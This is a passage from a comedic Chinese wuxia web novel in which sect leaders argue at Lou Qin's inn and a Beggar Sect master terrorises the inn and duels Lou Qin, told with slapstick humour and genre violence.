这时,最后钻进了的那个中年人,他看起来十分憨厚。听李小谦大喊,当即便问:“哪有鸡蛋饼?说得我都饿了!” 我怒气滕然而起,一把推开李小谦,飞脚向那中年人踹去。 没想到,那中年人看似十分憨厚,甚至有些笨拙。但他的反应极为敏锐,我脚刚抬起,他便一个转身接住,将我腿抱在怀里,喝道:“踹我作甚?!” 我怒道:“我最恨别人拿我名字打茬!” 那人一脸茫然,环顾众人,问:“什么意思?” 李小谦笑着说:“他叫姬旦丙。周武王的姬,祸福旦夕的旦,甲乙丙丁的丙。” 整屋子的人开始爆笑。 一个人笑得过于厉害,一屁股坐在李小谦的尿上。重人见状,原本即将平息的笑声又掀了起来。 “吱呀”一声,房门被推开了。娄琴探进半边身子,见到满屋子的人,吓了一跳,问道:“这是怎么了?”她看到了白景行,又问:“前辈,你怎么来了?” 白景行面带歉意地说:“又来打扰你了,小姑娘。我们几人原本相约今夜子时在西湖北侧的凉亭中秘商江湖大事。却忘了今日乃是中元节,外面一个人影都没有,着实有些恐怖,又无处可去,只得借你这客栈一用了。” 这老酒鬼的记性着实让人堪忧。不过此时,他的这种表现已经掀不起我心中一丝的波澜。或许,正如八矛师父所说的那样,一个人经历的多了,也就见怪不怪了。 我问:“武林盟主也怕鬼吗?!” 白景行白了我一眼,低声吼道:“怎能说怕鬼!只不过不愿在荒郊野岭见到不干净的事罢了。”另外九个人连连点头称是。 娄琴笑着说:“各位英雄,这屋里狭小,还是下楼去说吧。”众人连连点头叫好。 娄琴刚欲转身,似乎看到地下亮光闪动,问:“哪里来的水?” 我刚要解释。李小谦一把捂住我的口鼻,说:“我不小心把茶水洒了。”娄琴笑了笑,转身离开。 我忽然觉得内心十分不爽。因为我渴望娄琴看到李小谦尿湿的裤子,以及李小谦那尴尬至极的模样。 众人含笑离去。 娄琴客栈的厅堂中,亮起灯火。幽幽的火光摇曳,驱散这中元节阴冷的气氛。 娄琴在厅堂之中摆下几样小吃,斟满茶水。这时,一个高胖的男子一拍桌子站了起来,他那花白的须眉直颤,显然内心正燃着极大的怒火,他厉声说道:“这狗皇帝也太难伺候了吧?!我们已经从上至下严格自律,门派之下经营的两家妓院也都关了,所有弟子不得令都不许私自下山。如今我南华派生存已十分艰难,这狗皇帝竟然还不满意?!” 这人是南华派的掌门司徒清尘。他有一个绰号,在江湖上十分有名。据说,他少年时候,身材匀称,英气勃发,在胸口刺了一个虎头,目光锐利,獠牙凶猛。那时,他与人比武前常先脱掉上衣,露出猛虎刺青,以震慑对手。无奈中年发福,渐渐胖成一团,加之他自从当上掌门之后,便很少与人比试,人们渐渐忘了他胸口的猛虎。二十年前,老君山武林大会上,他出战华山派掌门岳小群,手持银枪,傲然挺立,一把扯碎上衣,却引来全场一阵爆笑。 华山派掌门岳小群除了是个剑法高超的剑客,还是一个极富才情的诗人。众人爆笑声中,他却一脸悲怆,仰天长叹:“岁月无情催人老,奈何猛虎变肥猫。” 从此,肥猫成了司徒清尘的绰号。无论他是否接受,这个绰号很快便成了江湖人的共识。 陈伯洋轻咳了一声,说:“猫爷稍安勿躁,我们从长计议。” 有一个人拍案而起,是一名看上去十分年轻的文弱书生,年龄与李小谦相差无几。他“噗”的一声甩开手中的折扇,愤怒地狂扇:“猫前辈说得不错。我们月牙山庄地处群山要道,四周匪患猖獗。我月牙山庄凭借祖上闯下来的威名,保各路镖局平安通过,以此挣些脸面钱。自巢湖武林大会之后,我唯恐给朝廷落下勾结盗匪的口实,下令全庄人不得领镖,一律到后山种地。奈何我月牙山庄,一众好汉,浑身本领无用武之地,只有种菜之地。” 这人便是月牙山庄的庄主,慕容顺。他爹便是被王冲偷了骨头熬汤喝的慕容英。 陈伯洋又咳一声,说:“贤侄不要懊恼,我们再来商量。” 这时,那个要吃“鸡蛋饼”的憨厚男子也豁然站起,他一拍桌子,忽然愣住了,左右看了几眼,说:“我也不知道要说什么,总之我龙虎帮也不好混!” 这个人莫非便是龙虎帮的帮主,风云二人的弟子刘易守? (特别鸣谢:《证道记》作者司徒清尘无私的客串。小可感激不尽。) 第一卷 最后一个武林盟主 第六十五章 撕裂 后来,我得知,这个人并不是刘易守。 西湖风云之战后。龙虎帮再次成了江湖武林的众矢之的。许多武林人士在临安投下千金赌注,又在西湖翘首以盼风云。 但是,风云没有出现。如二十年前的结局一样,武林人士损失惨重,很多人输掉的不仅仅是金子,还有宅子、妻子、儿子、面子…… 他们便将这一切的怨恨冲准了龙虎帮。他们认为,风云二人违背约定,致使他们蒙受损失。他们说,自己原本还有三成的胜算,因为风云的违约,造成他们再一次被庄家通吃。他们以此为由,齐聚龙虎山,要求龙虎帮赔偿。 刘易守果然留了一手。他料定自己的两位师父不会出现,便在风云际会的当夜,将龙虎帮帮主之位禅让给了他憨里憨气但武功高强的师弟周望安,把这个烂摊子甩手之后,便独自遁逃。 茫茫江湖,不见踪影。 憨厚的周望安临危受命,原本众人以为龙虎帮将就此毁在他的手里。但,他却用最简单粗暴的方式化解了这场龙虎帮的危机。 那日,他孤身一人现在龙虎山上山的天阶上,持剑傲视天下英雄,大吼一声:“你们弄死我吧!”数千名江湖豪杰被他喝退了数米。 他又向前迈了一步,大吼:“要不我弄死你们!” 全场哄然而散。 经此一事,周望安在江湖上一举成名。大家都说,龙虎帮出了个莽夫,周望安是个亡命之徒。其实,这些人害怕的并不是一个周望安,而是风云二人留在江湖上久未弥散的威名,还有他身后那一大片茫茫而不可知的密林。 周望安的彪悍鲁莽,无意间成了一场吓退天下英雄的空城计。 娄琴客栈里,各大门派掌门不住地发泄着自己的愤怒。白景行面不改色地喝着酒,一副事不关己的姿态。 别人说一句,陈伯洋咳一声。说一句,咳一声。不一会儿,陈伯洋的嗓子便咳哑了。 他把碗中的茶水一饮而尽,将空碗重重磕在桌子上,喝道:“好了!都不要再说了。” 众人顿时闭口不言,却个个面带不悦,似乎仍有满腹牢骚还未发泄出来。 白景行见这些人不再吵嚷,这才开口说话:“我已经见过皇上了。无论他现在是否同意,我们都应极力去争取。如若不然,被朝廷安上一个祸乱治安的罪名,恐怕到那时便不是日子好不好过的问题了。” 众人沉默不语。陈伯洋接过话茬,说道:“对呀,在座几位都是江湖上有头有脸的门派。只要我们几个人联名陈书,给朝廷吃下定心丸。我想,以盟主和皇上的交情,定然可以保江湖无虞啊。” “管某不敢苟同!” 忽然,一个五大三粗的壮汉站了起来,他粗眉大眼,皮肤黝黑,络腮胡子,满脸横肉,两把短刀插在腰间,看起来像个屠夫。他眼睛本来就大,此时心中有气,便瞪得更大了一些,仿佛是两颗牛眼挂在了人脸上,看起来十分滑稽。他说:“我双刀门虽然不及你们五大门派显赫,但也不甘心处处受制于朝廷。何为江湖?江湖便是要远离朝廷。正所谓,居庙堂之高,处江湖之远。向皇帝上书,那是当官的干的事,我等江湖之人,凭什么要给那皇帝上书求饶?!” 双刀门门主管天下,曾是江湖上红极一时的人物。他的曾祖父曾是少林俗家武僧,以金刚功为基础,自创了一套威力无穷的双刀刀法,在武林中名声大噪,因而开门立派,创建了双刀门。 刀法传到管天下这一辈儿,威力大减,据说功力已不足他曾祖父的五成。但,建炎二年,管天下率领双刀门一百多名弟子从福建出发,北上投奔李彦仙,抗击金兵,在军中战功赫赫,被李彦仙封为副将。 李彦仙投河之后,他的旧部曾想奉管天下为大将军,留在北方继续抗金。但不知为何,管天下却带着双刀门弟子回到了福建,从此再也没有提过抗金的事。 “不错!”又站起一个人来。是个矮个子,圆圆的头,眼睛小得像睁不开的瞎子。他说,“管大哥说得十分有理,江湖人有江湖人的规矩,不能一味迁就朝廷。当年,李彦仙将军做武林盟主的时候,狗皇帝曾八道急梳命他放弃抵抗,南下护驾。李将军何时听过朝廷的屁话。同样是做武林盟主的,差距也忒大了些吧。” 这人分明是在挑战白景行的权威。但白景行依旧是在不动声色地饮酒。无论别人说什么,仿佛都击不起他心中的一丝波澜。 然而,陈伯洋却怒了,他呵斥道:“此一时彼一时,如今不是乱世。眼下的时局,皇帝势力渐稳,主和派占据高位,各大门派本领再强也敌不过朝廷千军万马,白盟主是在极力保我各大门派平安。难道,扬州城之战还不够惨烈吗?我江湖中人死的还不够多吗?” 所有的人又沉默了。 白景行从怀中掏出一张纸,说:“老夫不为难各位,也不奢求各位理解。这份陈情书有老夫亲笔所写,若各位信得过老夫,就在陈情书上签字。若不愿签字,老夫也不强求,但老夫答应你们,定然竭尽全力保我武林各大门派无虞。”说完他饮进葫芦里的最后一口酒,转身离开了。 我看白景行的,脸上有些失望。他转身离开,魂眐眐的背影透露出不被理解的孤独。 九个人彼此对望,陈伯洋率先在陈情书上签字。随后,月牙山庄慕容顺,龙虎帮周望安,南华派司徒清尘,以及一直没怎么说话的封刀派掌门陈大刀相继在陈情书上签字。 而管天下带着另外三人径直走到窗户前。管天下看了一眼娄琴,说:“中元鬼节,就不麻烦掌柜开门了。”说罢,他们打开窗户,跳了出去。 这字幕,被我看在眼中,也牢牢地记在了心里。如果不是这一幕。我想,一年以后的那场悲剧或许不会发生。 但是,这一夜,太明显了。他们十个人的一场争论,让我看到了白景行这个武林盟主之位并非是我以往想象的那样稳如泰山。 这个江湖在撕裂。 而我不禁开始担忧,白景行真的像他说的那样,能保住这个已经撕裂的江湖吗? (抱歉,这章开始为第二卷的一个大事铺垫,所以介绍性的东西很多,有点无趣。但剧情需要,不得不有。) 第一卷 最后一个武林盟主 第六十六章 恐惧 中元节次日。 一清早,店里的伙计开始卸板营业。 门板刚卸下一块儿,只听“嗖”的一声,一只铁镖和清晨的阳光一同射进了娄琴客栈。 阳光射在了地上,铁镖射在了墙上。 店伙计吓了一跳,扔了门板儿躲到我身后。我小心翼翼的走到墙边,拔下铁镖。 标上插着一张字条,上面歪歪扭扭的几个字写道:“犯我丐帮者……”后面是一个圈儿。 娄琴走到我身旁问:“哪里来的?” 我说:“从门外飞进来的。”我指着那个圈儿问娄琴:“这个符号是什么意思?” 娄琴说:“是个圈儿。” 我问:“圈是什么意思?” 娄琴摇了摇头。这时,李小谦走了过来,我把纸条拿到他面前,问:“这个圈儿是什么意思?” 李小谦审了半天说:“兴许是有什么字不会写吧。”他拿过纸条翻看了半天,问:“哪里来的?” 我说:“从门外射进来的。” 李小谦摇头叹息,说:“你们这社会太乱了,怎么总是有这种莫名其妙的事发生?” 说话间,老张从后院急匆匆地跑了进来,便跑边叫:“不好了,不好了。” 娄琴问:“怎么了?” 老张喘着粗气,说:“后,后院的鸡,全死了!” 娄琴眉头一皱:“什么人干的?!” 老张摇了摇头。李小谦问:“一共几只?” 老张撅起食指,说:“一只。” 李小谦大吼:“就他娘的一只鸡你加个‘全’字!” 老张说:“那只鸡死得太蹊跷了,你们快去看看吧!” 一只鸡而已,能死得多么蹊跷?! 当我站在鸡窝前时,看着眼前的景象,忍不住感慨:“真是太蹊跷了。” 李小谦也认同地点头,说:“它是怎么做到的?” 娄琴说:“真是太邪门了,一点都不符合常理!” 我说:“接下来该怎么办?” 李小谦说:“清炖吧,再放俩蘑菇。” 老张说:“还是红烧好吃!” 娄琴说:“烤烤也行。” 无论这只鸡是怎么死的,无论它死的有多么蹊跷,最终它都没有逃过被肢解的命运,他的尸体被一分成三,一份清炖,一份红烧,一份烧烤。 但是,它的死并不是终点。 第二天一早,店伙计刚刚卸下一块门板。又一只铁镖与清晨的阳光一同射进了客栈里。 阳光射在地上,铁镖还是射在墙上。令人惊讶的是,铁镖不偏不倚的正中昨天那只贴标在墙上插的那个洞。 楼前看着墙上的铁镖,陷入了沉思。她喃喃道:“到底是什么人,竟有如此厉害的功力,镖法之精准简直让人惊骇。” 拔下铁镖,镖尖儿上插着的字条依旧是昨天那几个字,歪歪扭扭,犹如狗(脱敏)爬:“犯我丐帮者…”后面是一个圈儿。 我问:“这个圈儿到底代表了什么?” 娄琴没有回答,但是无论这个圈儿代表着什么,无疑这个人是来替丐帮出头的。 娄琴若有所思,她说:“莫非丐帮之中还有高手?” 李小谦说:“这个人如此厉害,我们还是去请白老头......我的意思是白老前辈,去请白老前辈吧。” 娄琴刚“嗯”了一声,老张又从后院儿急匆匆地跑了出来,一边跑一边喊:“不好了,不好了。” 娄琴问:“又怎么了?” 老张说:“我们家的狗死了。”他顿了顿,又补充了一句:“死得也很蹊跷。” 我们一动不动地看着那只一动不动的狗,沉默了许久。他的确死的也很蹊跷。 我问:“怎么会这样?” 娄琴说:“这是有人故意为之。看来丐帮的人来者不善,他们是来寻仇的。” 丐帮?! 丐帮的人除了已经死掉的王冲,并没有其他的高手。甚至可以说没有其他人懂武功。 会是谁呢? 李小谦啧啧两声,说:“炖了吧。” 老张说:“烤着味道更好。” 我忽然想起了圆通,心里莫名地一阵失落。我说:“我去打壶酒。” 一整天,娄琴都心事重重。她眉头紧锁,不停地在念叨着丐帮的事。派出去找白景行的人已经走了几个时辰了。但是白景行行踪飘忽不定,神龙见首不见尾,娄琴说,找到白景行的希望十分渺茫。 我问娄琴:“以你的武功,打不过那个丐帮的人吗?” 娄琴摇了摇头说:“此人内力深厚,镖法如此精准,武功只怕不在王冲之下。” 我这时才感受到恐惧的来临。如果真如娄琴所说,没有白景行的娄琴客栈,无疑便是我们的葬身之地。如果,那人的确起了杀人之心,那么,此刻我们这些人已然成了那人砧板上的鱼肉,只等着任人宰割。 我说:“我们逃跑吧。” 娄琴摇了摇头说:“他若执意寻仇,我们岂能跑得了?” 我十分焦急、恐慌、恐惧。我说:“那要怎么办?总不能等死吧。”娄琴突然向我轻轻一笑,那一笑甚是温柔,给了我些许安慰。 她说:“安下心来等白前辈吧。这世间,没有人是他的对手。” 我问:“如果找不到他呢?” 娄琴没有回答。 第三天一早。店伙计站在盖得密密实实的门板前不敢动弹,他浑身颤抖着看向娄琴,问:“娄,娄姐,开,开还是,不,不来?” 娄琴深吸了一口气,重重地说:“开!” 正如我们所料,一块门板刚刚卸下来,又一支铁镖随阳光射了进来。阳光依旧射在地上,但那只铁镖又插在了那个地方。 “靠!”李小谦骂道,“到底是什么人?!真以为自己是青城派的余沧海吗?!” 余沧海?! 我和娄琴同时问:“你知道是谁?!” 李小谦一怔,不好意思地笑了笑,说:“我说的余沧海是我们那时候的人。不,不,也不是我们那时候的人,他是……”李小谦的脸有些红了,他憋了半天,说:“我不知道怎么跟你们解释,总之你们知道没有余沧海这个人就是了。” 我问:“那余沧海是什么人?” 李小谦想了想,坐在桌上开始给我们讲一个叫笑傲江湖的故事。那故事扣人心弦,情节跌宕起伏,听得我如坠其中,难以自拔。 当他讲到岳不群,自宫练剑时,我心绪难平,愤然吼道:“好好的水龙头为什么要切掉?” 李小谦却莫名被我的话激怒了,他掐着我的脖子,大喊:“别提老子的糗事。” 娄琴则在一旁掩面大笑。忽然,她笑声戛然而止,表情僵住,眼中闪过一丝慌乱。我感到似乎有什么不详的事情发生,问:“怎么了?” 娄琴声音有些颤抖,说:“老张呢?” 我顿时犹如坠入万丈冰窟,又似乎有一盆冰水倒下,从头顶一直凉到脚跟。我们几乎同时转身向后院跑去。 当推开老张的房门,发现他盘膝而坐,双手合十,双目紧闭,一动不动。 老张死了。 他的死相和那鸡、那狗一模一样。 此时,真正的恐惧才陡然降临。如果说,前两日还是担忧,还是未知的慌乱,对那人或许还心存一丝侥幸,那此时绝对切身体会到了渗入骨髓的恐惧。 这意味着,那个藏着暗处的丐帮高手已经开始着手杀人了。 而下一个死的人,将会是谁呢? 如果,真如李小谦所讲的那个故事一样,那人也如“余沧海”一般的心思。那么,娄琴客栈无意将是现实中的福威镖局,我们所有的人,都将在受尽极度的惊恐之后,悲惨地死去。 第一卷 最后一个武林盟主 第六十七章 现身 第四天。 不仅是我自己,娄琴客栈里每一个人的神经都已到了崩溃的边缘。所有的人都在厅堂里紧张兮兮地望着门板,谁也不愿上前去卸下。 娄琴深吸了一口气:“该来的,躲也躲不过。”她缓步走到门前,卸下第一块门板。 那枚铁镖依旧在卸下门板的那一刻如期而至。 还是熟悉的位置,还是熟悉的字条。 “犯我丐帮者......”,还是那个熟悉的圈儿。 娄琴愤然冲出客栈,站在街上,向四周张望。清晨的街面上,人烟奚落,按理说,任何一个不同寻常的人影都不应该逃过她的眼睛。但是,她依旧没有发现任何异常。 娄琴轻轻磕了一下门口的木桩,那把青光宝剑飞到娄琴手中。她持剑怒视周围的一切,大声吼道:“是谁?!到底是什么人在装神弄鬼!给老娘站出来!” 那人并没有站出来。 紧接着,我们开始四处寻找。按照前三天的逻辑,今天仍然会有一个生命,十分蹊跷的死去。 但是,眼下娄琴客栈里所有的人都在。我们五个人,娄琴、李小谦、洗碗的大妈、跑趟的伙计,还有我。 然而,我们仍是漏掉了一个人。在后院的枣树下,我们发现了昨日被娄琴派出去寻找白景行的店伙计。 他盘膝而坐,双手合十,浑身上下已经僵硬。 “娄,娄姐。我们怎么办?”我可以听到自己颤抖的嗓音。我很害怕,我终于可以理解林平之一家人看着家里人接二连三地死去时的心情。 我这时才明白,真正可怕的不是死亡,而是你明明知道死亡已然临近,但你却还头脑清晰地活着。 洗碗的大妈开始哭,浑身颤抖,哭泣声中充满了恐惧。接着,她像发疯一样地抓着娄琴的胳膊,说:“老板,我不干了,我要走,我不想死在这儿。” 娄琴惨然一笑,说:“走?!这个时候,还能走得了吗?” 洗碗的大妈一屁股坐在了地上,仰头哀嚎:“到底是哪个挨千刀的啊!光天化日的就杀人!这个世道还有没有王法了?!” 这个世道真的还有王法吗?从我一路逃生的幼年生活里,从我在雁荡山上落草为寇的生涯里,从逃离雁荡山所经历的种种坎坷里,我看不到这个世道还有什么王法。 这时,李小谦说:“活人还能让死人给吓死?!下面该是我一显神通的时候了!” 所有的人齐刷刷地看向李小谦。我问:“你有什么办法?” 李小谦神秘一笑,举手朝天,大叫:“今天,我就带你们飞出去。” 在李小谦的指引下,我们带着对生的强烈渴望,开始了一场伟大的逃生计划。 他说,他将利用现代黑科技,带领我们飞上蓝天,任凭什么高超的轻功,任凭什么精准的暗器,也不可能阻挡住我们舍死求生的步法。 所有人的激情被他点燃了。 根据李小谦的设计,我们将客栈里所有的床单都聚拢到娄琴客栈的后院之中。我问李小谦:“这是要做什么?” 李小谦说:“做个热气球。” 我问:“什么是热气球?” 李小谦说:“见过孔明灯吗?” 我点了点头,说:“见过。” 李小谦说:“我们要做一个巨大的孔明灯,大到足以盛下我们所有的人,带着我们飞到天上去。” 我可以想象那个画面。天空白云朵朵,清风徐徐吹来,我们将带着生的希望,飞向广袤的天空。那是一副美丽的画卷。美得让我忍不住发自内心地欢喜。 “别傻笑了!快点干活!”李小谦说。 洗碗的大妈不只洗碗的功夫了得,针线功夫也非常了得。她娴熟地将床单缝在一起,仅用了一个多时辰,我们便做好了一个如房子一般大小的气囊。 看着支起来的硕大的气囊,我心潮澎湃。所有的人脸上都充斥着喜悦,多日来弥漫在心里的阴霾仿佛一扫而净。 希望! 就在眼前! 李小谦用麻绳将两个硕大的菜筐拴在气囊下方,他说,我们将坐在这两个篓子里飞向天空。 期待! 就在心中! 竖起的五根大腿一般粗细的火把被插在菜筐上的铁架里,牢牢箍紧。我们五个人分别站在两个菜筐里,激动的心情显露在每一个人的脸上。 李小谦大喊一声:“点火!” 跑趟的伙计将早已握在手中的小火把伸到五根大火把的油毡上。 “轰”的一声。 犹如天雷般的闷响。巨大的火焰从五根火把上滕然而起。硕大的气囊被火把喷射出的炙热的气流撑得鼓鼓囊囊。 “成功了,成功了!”李小谦难掩激动的心情,拍手大叫。 他这样一喊,我的心情更加激动、更加澎湃。我还没有飞过,我渴望像一只鸟一样自由地飞在天上。 举手可摘星辰,俯首傲视大地,那将是一种怎样壮阔的风景?!我闭上了眼睛。因为,我要在我睁开眼睛的那一刻,眼前就是我心中向往的蓝天。 “着了!着了!”跑趟的伙计开始尖叫。 着吧! 让火把愤怒地燃烧吧!我感觉自己似乎已经飞起来,离开地面,奔向天空。 “快跑!着啦!”李小谦大喊一声。 我睁开眼睛,只见头顶上竟然是滔天的火焰,熊熊燃烧,浓烟滚滚。 “我靠!”我忍不住大喊一声,翻身从菜筐里滚了出来。 火把烧着了气囊,把洗碗大妈辛苦缝起来的床单付之一炬,同时焚毁的,还有我们逃生的希望。 洗碗大妈和跑堂伙计抱头痛哭,喊着:“完了,完了!这回死定了!” 我质问李小谦:“你不是说可以带我们飞吗?” 李小谦一个劲地挠头,说:“我也没想到会这样啊。我是学中文的,不是学物理的。” 我不管他是学什么的。给了我们希望,却又让我们的希望化为乌有。最可恨的是,这希望关乎所有人的生死! “哈哈哈哈.....”一阵狂笑,从屋顶上传来。 我们循声望去。只见一个破衣烂衫的乞丐坐在屋顶大笑。气囊燃起的熊熊大火照红了他的脸庞,让他污浊的脸、发黑的牙显得犹如地狱里爬出的恶鬼一样恐怖。 “我以为你们能有什么逃生妙计。”他笑道,“原来,只是在提早给自己烧些黄泉路上的细软。” “你是什么人?!”娄琴冷冷地问。 那人冷哼一声,从屋顶上一跃而下,落在我们跟前:“我是什么人?!你们三番五次侮辱我丐帮中人,更杀了我丐帮的大长老,竟然还敢问我是什么人?!” 我此时已经可以断定,他便是这几日来隐在暗处,向我们投射铁镖,杀人制造恐惧的那个丐帮高手。 娄琴问:“你是丐帮的什么人?” 那人说:“我是丐帮的帮主,马小六!” 他竟然是丐帮的帮主。那个因为名字普通,被我认为不值一提的丐帮帮主! 我不禁骇然。原来我们轻视,甚至忽视的人,竟是一个足以索去我们性命的绝世高手。都说人不可貌相,如今看来,就连名字也不可以小觑。 “为什么要这么残忍?!”娄琴狠狠地说,她指着枣树下如坐莲台却已惨死的店伙计,质问:“他不过是一个无辜之人,为何要对他痛下毒手?!” 马小六满脸狰狞,说:“我给你们发的字条上写得很清楚!我不管是谁,只要是这间客栈里的,都得死!” 我问:“那个圈儿是什么意思?” 马小六狰狞的脸上猛地抽搐了几下,说:“犯我丐帮者,死!” 我又问:“为什么死是个圈儿?” 马小六抿着嘴,半晌,从牙缝里挤出一句:“那个字......我不会写!” 第一卷 最后一个武林盟主 第六十八章 暗器 热气球的焚毁让逃生的希望彻底破灭。 马小六的出现让死亡的恐惧成为现实。 他就站在我们面前,犹如是地狱里来的索命恶鬼,让死亡的恐惧更加真实,更具有压迫感。 娄琴的青光剑一直都在手中。她明知自己不是马小六的对手,但她仍然傲然地看着马小六。在她的脸上,我看不到一点的害怕,也没有一丝的慌乱。 莫非,她还有胜算吗? 这场生死的较量已然开始。 “铮”的一声,青光剑出鞘,发出幽幽的青光。 娄琴的面前是武功远在她之上的丐帮帮主马小六,身后是仍然焚烧着的熊熊火焰。热气蒸腾,掀起娄琴的裙摆。 马小六手持一根铁棒,依树而立,他的脚边是如稳坐莲台的店伙计的尸首。火烧得更烈了,烘得马小六的脸上竟泛起了一片红晕。他斜眼看着我们,嘴角扬起一丝不易察觉的微笑,稍纵即逝。 马小六拉长了驴脸,话音深沉,满是不屑地说:“就凭你也想跟我动手?不自量力!” “嗖!” 说话的功夫,一把冷剑已直直指向马小六的咽喉。娄琴凛然道:“少废话,动手吧!” 一滴汗水从娄琴的额上悄悄滑落,无声无息地将畏惧隐没在蒸腾的热浪里。 马小六忽然轻挑地扫了一眼娄琴,目光从上至下地略过,重点关注了她喷薄欲出的胸口,随即“啧啧”两声,说:“你这样的美人,杀了实在是可惜,如果我赢了......” 娄琴忽然嘴角上扬,媚眼看着马小六,说:“随你喽!” “旦丙。”李小谦扯了扯我的衣角,趴在我耳边轻声地说,“他泡你马子。” 什么乱七八糟的东西。 我问:“什么意思?” 李小谦还未说话,娄琴已然跃起,约有一人多高。那翩翩紫衣在夜风中旖旎飘动,宛如紫衣仙子腾云驾雾而来。 然而,我分明感觉到她紫色衣裳与青光宝剑中有一道戾气直冲而去,正对着马小六的胸口,越来越近。 那剑尖逼近了一寸又一寸。此时,剑尖与马小六的胸腔几乎还剩下一尺的距离,而那冰冷的剑气却仿佛早已刺破了他的胸膛,就要将他碎尸万段。 我开始莫名的紧张。娄琴的剑闪着青光,已经离马小六近在咫尺,马小六却依然没有动作。他的眼直勾勾的盯着娄琴,闪烁着贪婪的光。 他怎么了? 莫非,他要放弃抵抗吗? 就在这时,马小六的身子轻轻一侧,手中铁棍一扫。“当”的一声,剑尖儿被轻而易举地挑开了。 马小六的眼睛始终没有离开娄琴的身子。一股怒气升入胸口,我恨不得冲上前去,将马小六的眼珠抠下来。 娄琴被这一震弹了回去,重重地落在地上,退了数步,勉强稳住身子,眉头紧紧地锁起。 马小六却不再迟疑了,他提起铁棍横扫出去。陡然间,那根沉重的重棍似是突然变质一样,在他的手里有如同我时常挥舞的木棒一般轻盈。而那铁棍中似是有了无穷的灵力,竟与马小六浑然一体。 他的棍法中,有刀法的刚猛,却还有剑法的灵巧。一时间,人如云端之客,翩翩而来,棍如潇潇落叶,缜密竹林,细密不容丝毫,招招式式都锐不可当。在这样的棍法面前,天地都为之变了颜色。 娄琴此刻已是汗水淋漓,马小六的棍法犹如坚不可摧的盾,根本没有击破的可能。 怎么办? 我焦急地看着这场几乎败局已定的比试,两只脚忍不住的开始抖动。洗碗的大妈和跑堂的伙计抱得更紧了,他们在哭,却不敢出声,只是低头啜泣。 这时,马小六见娄琴左右都招架不住,似乎是动了恻隐之心,竟然收招,翻身跳回了回去。 娄琴握剑的手有些颤抖,她冷声问道:“你这是什么功夫?” “这是我丐帮的棍法!”马小六有些得意地说着。 “丐帮的棍法?”娄琴疑问,“这么精妙的棍法为何在江湖上不曾见过?” “没错!”马小六傲慢地回应着,“因为,这是我最近才创出来的。今日你能见识到,乃是你莫大的荣幸!” 说罢,马小六再次挥棍而出。此刻,这棍法与方才似乎略有不同。如果说,方才的棍法娄琴尚可勉力格挡,那么此时的棍法便已是杀意腾腾,招招式式都直扑娄琴的命门而去。 马小六,这是想要杀了娄琴么?! 我心里更急,恨不得将马小六千刀万剐。 马小六借娄琴全力招架之际,翻身越过,在她全然无有防备的时候已然站在了她的身后。这时,只要马小六提起铁棍,往娄琴后脑上一砸,取她的性命就如囊中取物一般轻而易举。 画面就在这一瞬间定格了。马小六的双眼直勾勾地盯着娄琴微微翘起的臀部,双目之中淫光大放! 同时,他手中的铁棍如落水的铁片一般飘然下沉。随之,马小六持棍的手也逐渐绵软下来,仿佛是失去了力道一般! 他的左手悄悄荡起,缓缓地挪向他目光紧盯的娄琴的臀! 霎那间,马小六眼中淫光更盛!漫天淫气腾腾而起,几欲刺破空气,撕扯娄琴那霞光一般的紫衣,将她扑倒在这青砖碧瓦的地面上。 那只手,荡着,越来越近,越来越近...... “住手!”我愤怒地咆哮。 “铮!” 一声脆响犹如蛟龙出世,带着惊天的气势撞向马小六右手悬空的铁棍上!那根铁棍失去了力量的支撑,犹如枯枝般被打得倒飞出去!“咣当”一声重重地砸在一丈远的地上,竟将地上的石板震裂成数段! 马小六猛然惊醒,叫苦不迭! 然而,他还没有来得及做出什么反应,一只芊芊玉手卷着吞天沃日的气势纵掌劈来! 马小六没有躲开,那一掌正劈在他的胸口上。然后,整个人倒飞而起,身子重重地撞击在院墙之上! 他勉强撑起身子,龇着牙哀嚎:“疼,疼!”。随即,一股鲜血从口中“噗”地一声喷出!鲜血滴在胸口上,斑斑驳驳! 失去了武器的马小六表情十分复杂。满脸悔恨之中还带着汹汹的怒气。 赢了! 娄琴赢了! 我激动难耐,抱着李小谦大声欢呼:“我们赢了!” 洗碗的大妈和跑堂的伙计,喜极而泣,憋了很久终于哭出了声来。 娄琴客栈的后院里,偶有几片树叶飘然而下,落在地上,又被轻风一扫,席地而起,一阵阵“沙沙”声不绝入耳,有如鬼泣! 娄琴的眼中竟有了一丝倦意,似乎已经疲惫了这样的僵持! 的确,这场比试的结局已经很明显了,马小六失去了自己的兵器,他已经输定了。 “你输了!”娄琴冷哼一声,手中青光随之荡起!“铮”又一声冷啸,紫影与青光合二为一。 人已如离弦之箭直指而来,只消片刻马小六就要一败涂地!然而,马小六却没有动作!他冷冷的目光中似乎闪过一丝笑意! 只在那么一片刻间,涣然消逝! 剑已近,人似寒铁;风又起,心如坚冰!我心中暗叫,杀了这个臭乞丐! 马小六竟然摇头叹息一声。 他要做什么? 我正思索间,突然,我看见他右脚向后一撤! 他要如何?莫非他要用脚?莫非要他要以着血肉之躯去横挡利剑吗? “嗖!” 正在我万般不解之时,只见马小六右脚向前猛地一踢,一道黑影飞速闪了出去! 好快!那是什么? 顷刻间,那黑影快如闪电,娄琴根本来不及做出任何反映,那道黑影便直直打在了她白嫩的脸颊上! “啪!”地一声响。 “啊!”娄琴惨叫一声! 而在那一刹那间,那手中的剑已然降了速度、偏了方向! 紧接着,马小六箭步冲向娄琴。转身、推手、压腕、右手躲剑!只见他微微一笑,一个后空翻立定于地,横剑指向娄琴的脖颈。 我顿时犹如掉进万丈深渊,只感觉无穷的绝望包围了我的身体。洗碗的大妈和跑趟的伙计由喜泣转为哀嚎:“完了,完了!” 李小谦骂道:“他娘的,眼看就要赢了,怎么回事?” “哈哈哈哈......”马小六放声大笑,右脚向前趟起横在地上的一只破鞋,笑道:“哈哈,我还有暗器!” 我靠!这个贱人! 第一卷 最后一个武林盟主 第六十九章 金人 娄琴的青光剑闪着青光,却抵在了它主人的脖颈之上。 一个乞丐,在笑,发狂地狞笑。 他很得意。 因为,他刚刚赢了一场几乎就要输掉的比试。他右脚来回扭着,似乎是在炫耀着他那双脏兮兮的破鞋。那是助他反败为胜的功臣! 此刻,或许他更得意的是,一个貌美如花、身材标致的美女被他牢牢控制在手中。 他淫邪的笑声,和他那已经缓缓伸向娄琴胸口的手告诉我,这个该死的马小六正准备在众目睽睽之下,对娄琴欲行不轨。 娄琴想要挣脱,但剑就在她的咽喉处,稍稍一动,青光划破喉管,热血就要涌出来。她缓缓闭上眼睛,双拳紧握,似乎已陷入了绝望之中。 不可以! 